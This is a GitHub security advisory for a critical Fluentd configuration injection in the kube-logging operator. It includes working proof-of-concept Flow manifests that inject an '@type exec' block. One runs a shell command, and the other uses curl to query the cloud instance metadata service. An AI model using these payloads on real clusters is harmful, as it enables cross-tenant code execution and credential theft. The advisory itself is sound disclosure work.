GitHub Advisoryadvisory · Go
GHSA-mjqf-28ph-426h Logging operator has Fluentd configuration injection that allows remote code execution
CRITICAL
Official page ↗
- Aliases
- CVE-2026-54680
- Ecosystem
- Go
- Packages
- github.com/kube-logging/logging-operator
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-74, CWE-77
- Reviewed
- 2026-07-29
Affected packages
• Go github.com/kube-logging/logging-operator: < 0.0.0-20260608145523-cf437d7f1e05 → fixed in 0.0.0-20260608145523-cf437d7f1e05
Description
Summary
The Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines.
In the confirmed path, a value in `record_transformer.records` can close the current `` / `` block and add a new `` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.
Details
The issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`.
https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87
Each parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration.
One input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping.
https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103
The config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image.
PoC
The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`.
First, create a minimal `Output` as the log destination.
```yaml
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
name: sink
namespace: tenant-a
spec:
nullout: {}
```
Next, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block.
```yaml
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: exfil
namespace: tenant-a
spec:
match:
• select: {}
filters:
• record_transformer:
records:
• x: |-
y
@type exec
command /bin/sh -c "id > /tmp/pwned"
@type json
flush_interval 1s
@type record_transformer
absorbed y
localOutputRefs:
• sink
```
After applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`.
```sh
kubectl apply -f output.yaml -f flow.yaml
kubectl -n get secret -fluentd-app \
-o go-template='{{ index .data "fluentd.conf" }}' \
| base64 -d | grep -A8 '@type exec'
```
When any Pod in `tenant-a` emits logs, those logs flow into the injected `` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows.
```sh
kubectl -n exec -- cat /tmp/pwned
expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)
```
Impact
This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.
Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator.
In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate.
```yaml
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: imds-poc
namespace: tenant-a
spec:
match:
• select: {}
filters:
• record_transformer:
records:
• x: |-
y
@type exec
command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc"
@type json
flush_interval 1s
@type record_transformer
absorbed y
localOutputRefs:
• sink
```
Related
Alias · CVE (1)
- CVE-2026-54680 Logging operator automates the deployment and configuration of Kubernetes logging pipelines. vulnerability
References
- https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h web
- https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425 web
- https://github.com/kube-logging/logging-operator package
- https://github.com/kube-logging/logging-operator/releases/tag/6.6.0 web